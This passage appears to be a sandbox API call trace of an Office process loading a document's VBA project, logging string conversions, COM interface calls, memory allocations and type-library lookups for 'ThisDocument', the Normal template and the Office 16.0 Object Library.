_Destination="*\\Z016168c314") returned 0x0 [0068.485] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f3ca0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.486] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.486] strcpy_s (in: _Dst=0x288576b7f10, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0068.486] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0068.486] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=7, lpWideCharStr=0x2884e1466c8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0068.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xbcb38f3a50, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.487] lstrlenA (lpString="Normal") returned 6 [0068.487] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0068.487] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=7, lpWideCharStr=0x2884e1466c8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0068.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xbcb38f4b30, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.487] lstrlenA (lpString="Normal") returned 6 [0068.491] wcscpy_s (in: _Destination=0xbcb38f42e6, _SizeInWords=0x801, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0068.491] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z016168c314") returned -23 [0068.491] IUnknown:AddRef (This=0x2885d4c6250) returned 0x3 [0068.491] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2138 | out: ppvObject=0xbcb38f2138*=0x0) returned 0x80004002 [0068.491] IUnknown:Release (This=0x2885d4c6250) returned 0x2 [0068.491] IUnknown:AddRef (This=0x28857594370) returned 0x5 [0068.491] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2138 | out: ppvObject=0xbcb38f2138*=0x0) returned 0x80004002 [0068.491] IUnknown:Release (This=0x28857594370) returned 0x4 [0068.491] IUnknown:AddRef (This=0x2884e335eb0) returned 0x5 [0068.491] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2138 | out: ppvObject=0xbcb38f2138*=0x0) returned 0x80004002 [0068.491] IUnknown:Release (This=0x2884e335eb0) returned 0x4 [0068.491] wcsncpy_s (in: _Destination=0xbcb38f1e00, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.491] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f1d30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.491] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.491] wcsncpy_s (in: _Destination=0xbcb38f1e00, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.491] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f1d30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.491] wcscpy_s (in: _Destination=0x2885d635c38, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0068.491] wcsncpy_s (in: _Destination=0xbcb38f1e00, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.491] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f1d30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.491] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.491] wcsncpy_s (in: _Destination=0xbcb38f1e40, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.491] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f1d70, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.492] wcscpy_s (in: _Destination=0x2885d624940, _SizeInWords=0x804, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0068.492] _wfullpath (in: _Buffer=0xbcb38f5060, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\FD1HVy\\Documents\\Normal") returned="C:\\Users\\FD1HVy\\Documents\\Normal" [0068.492] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0068.492] SysStringByteLen (bstr="潎浲污") returned 0x6 [0068.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x288574fe078, cbMultiByte=7, lpWideCharStr=0x2884e1466c8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0068.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xbcb38f49e0, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0068.493] lstrlenA (lpString="Normal") returned 6 [0068.493] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f5428, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885bb66ec8 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885bb66ec8*="캈뷗翹") returned 0x0 [0068.493] IUnknown:Release (This=0x2885d2711b8) returned 0x0 [0068.493] IsCharAlphaA (ch=84) returned 1 [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f5280, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.494] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f5240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.494] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.494] lstrlenA (lpString="ThisDocument") returned 12 [0068.494] malloc (_Size=0x188) returned 0x2885bb6bd30 [0068.494] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d270f50, ppTypeAttr=0xbcb38f5220, pDummy=0x0 | out: ppTypeAttr=0xbcb38f5220, pDummy=0x0) returned 0x0 [0068.494] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d270f50) returned 0x0 [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f4ec0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.494] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f5000, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.494] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.495] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e5ac0, cb=0x8) returned 0x2885d5e5f40 [0068.495] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15bb00 [0068.495] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d15bb00) returned 0x80 [0068.495] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fd680 [0068.495] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x288575fc3c0 [0068.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f4ec0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.495] CoCreateGuid (in: pguid=0xbcb38f4bf0 | out: pguid=0xbcb38f4bf0*(Data1=0x1009978a, Data2=0x7e57, Data3=0x4ffc, Data4=([0]=0x81, [1]=0x74, [2]=0xe0, [3]=0x92, [4]=0xa, [5]=0x25, [6]=0xea, [7]=0xd))) returned 0x0 [0068.495] CoCreateGuid (in: pguid=0xbcb38f4c00 | out: pguid=0xbcb38f4c00*(Data1=0x7ff62c35, Data2=0x49cf, Data3=0x47ca, Data4=([0]=0xb2, [1]=0xd9, [2]=0x43, [3]=0x0, [4]=0x7f, [5]=0x80, [6]=0xb5, [7]=0x10))) returned 0x0 [0068.495] WideCharToMultiByte (in: CodePage=0x3a4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xbcb38f4c10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0068.495] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.495] GetLocalTime (in: lpSystemTime=0xbcb38f4ae8 | out: lpSystemTime=0xbcb38f4ae8*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x39, wMilliseconds=0x61)) [0068.495] _ultow_s (in: _Value=0x6168c315, _Buffer=0x2885d6354c4, _BufferCount=0x9, _Radix=16 | out: _Buffer="6168c315") returned 0x0 [0068.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="026168c315", cchWideChar=11, lpMultiByteStr=0xbcb38f4a80, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="026168c315", lpUsedDefaultChar=0x0) returned 11 [0068.495] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x170) returned 0x2885d2de710 [0068.495] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2885d44d1c0 [0068.495] strcpy_s (in: _Dst=0x288576b7f20, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0068.495] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e58b0, cb=0x68) returned 0x2884e3623b0 [0068.495] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.495] wcscpy_s (in: _Destination=0x2885d6354d8, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0068.495] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.495] wcscpy_s (in: _Destination=0x2885d6354f8, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0068.495] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e5a70, cb=0x12) returned 0x2885d5204e0 [0068.495] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e5990, cb=0x6) returned 0x2885d5e5a70 [0068.496] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2885763d3a0 [0068.496] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d44cd40) [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146630 [0068.496] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884e146630, cb=0x5c) returned 0x2884e363ae0 [0068.496] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885763d3a0) [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2885d221d60 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146480 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d5200a0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15b710 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5ac0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e58b0 [0068.496] wcsncpy_s (in: _Destination=0xbcb38f4940, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.496] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f4870, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.496] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x28856f8fda0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15c010 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2885d5ca840 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146630 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5990 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5c10 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146660 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d15a6c0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2885d004ca0 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2885d007540 [0068.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2885d007950 [0068.496] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0068.496] strcpy_s (in: _Dst=0xbcb38f4b10, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0068.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4b10, cbMultiByte=10, lpWideCharStr=0xbcb38f4960, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0068.497] IUnknown:AddRef (This=0x2885d4c6250) returned 0x3 [0068.497] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xbcb38f4a30, pBstrLibName=0xbcb38f4960 | out: pfName=0xbcb38f4a30*=0, pBstrLibName=0xbcb38f4960) returned 0x0 [0068.497] IUnknown:Release (This=0x2885d4c6250) returned 0x2 [0068.497] IUnknown:AddRef (This=0x28857594370) returned 0x6 [0068.497] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xbcb38f4a30, pBstrLibName=0xbcb38f4960 | out: pfName=0xbcb38f4a30*=0, pBstrLibName=0xbcb38f4960) returned 0x0 [0068.497] IUnknown:Release (This=0x28857594370) returned 0x5 [0068.497] IUnknown:AddRef (This=0x2884e335eb0) returned 0x5 [0068.497] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xbcb38f4a30, pBstrLibName=0xbcb38f4960 | out: pfName=0xbcb38f4a30*=0, pBstrLibName=0xbcb38f4960) returned 0x0 [0068.497] IUnknown:Release (This=0x2884e335eb0) returned 0x4 [0068.498] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884e146810 [0068.551] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x288570d8580 [0068.551] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e5ac0, cb=0x20) returned 0x288570d7ec0 [0068.552] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e5990, cb=0x28) returned 0x288570d85b0 [0068.552] wcsncpy_s (in: _Destination=0xbcb38f4b80, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.552] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.552] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0068.552] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0068.552] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2885d434cd0 [0068.552] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d434cd0) [0068.554] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xbcb38f54e8*=0x0 | out: pptlib=0xbcb38f54e8*=0x2885d608e20) returned 0x0 [0068.624] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xbcb38f4378*=0x0 | out: pptlib=0xbcb38f4378*=0x2885d608e20) returned 0x0 [0068.624] ITypeLib:RemoteGetDocumentation (in: This=0x2885d608e20, index=-1, refPtrFlags=0xb38f4398, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xbcb38f4280, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0068.624] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0068.624] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4258 | out: ppvObject=0xbcb38f4258*=0x0) returned 0x80004002 [0068.624] GetLocalTime (in: lpSystemTime=0xbcb38f4100 | out: lpSystemTime=0xbcb38f4100*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x39, wMilliseconds=0xde)) [0068.624] wcsncpy_s (in: _Destination=0xbcb38f3db0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0068.624] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0068.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f3ce0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0068.625] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0068.625] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4188 | out: ppvObject=0xbcb38f4188*=0x0) returned 0x80004002 [0068.625] ITypeLib:RemoteGetLibAttr (in: This=0x2885d608e20, ppTLibAttr=0xbcb38f4180, pDummy=0xbcb38f4188 | out: ppTLibAttr=0xbcb38f4180, pDummy=0xbcb38f4188*=0x0) returned 0x0 [0068.625] ITypeLib:RemoteGetDocumentation (in: This=0x2885d608e20, index=-1, refPtrFlags=0x0, pBstrName=0xbcb38f4178, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000 | out: pBstrName=0xbcb38f4178*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000) returned 0x0 [0068.625] StringFromGUID2 (in: rguid=0x288574fe070*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0xbcb38f41a0, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0068.625] _ultow_s (in: _Value=0x2, _Buffer=0xbcb38f40ea, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0068.625] _ultow_s (in: _Value=0x8, _Buffer=0xbcb38f40ee, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0068.625] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f40f2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885747f8ce, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885747f91a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885747f9a8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0068.625] ITypeLib:LocalReleaseTLibAttr (This=0x2885d608e20) returned 0x0 [0068.625] wcscpy_s (in: _Destination=0x2885d635518, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0068.625] ITypeLib:RemoteGetDocumentation (in: This=0x2885d608e20, index=-1, refPtrFlags=0xb38f4298, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0068.625] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0068.625] strcpy_s (in: _Dst=0xbcb38f4090, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0068.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4090, cbMultiByte=7, lpWideCharStr=0xbcb38f3ee0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0068.625] IUnknown:AddRef (This=0x2885d4c6250) returned 0x3 [0068.625] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="Office", lHashVal=0x407515, pfName=0xbcb38f3fb0, pBstrLibName=0xbcb38f3ee0 | out: pfName=0xbcb38f3fb0*=0, pBstrLibName=0xbcb38f3ee0) returned 0x0 [0068.625] IUnknown:Release (This=0x2885d4c6250) returned 0x2 [0068.625] IUnknown:AddRef (This=0x28857594370) returned 0x8 [0068.626] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="Office", lHashVal=0x407515, pfName=0xbcb38f3fb0, pBstrLibName=0xbcb38f3ee0 | out: pfName=0xbcb38f3fb0*=0, pBstrLibName=0xbcb38f3ee0) returned 0x0 [0068.626] IUnknown:Release (This=0x28857594370) returned 0x7 [0068.626] IUnknown:AddRef (This=0x2884e335eb0) returned 0x5 [0068.626] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="Office", lHashVal=0x407515, pfName=0xbcb38f3fb0, pBstrLibName=0xbcb38f3ee0 | out: pfName=0xbcb38f3fb0*=0, pBstrLibName=0xbcb38f3ee0) returned 0x0 [0068.626] IUnknown:Release (This=0x2884e335eb0) returned 0x4 [0068.626] IMalloc:Alloc 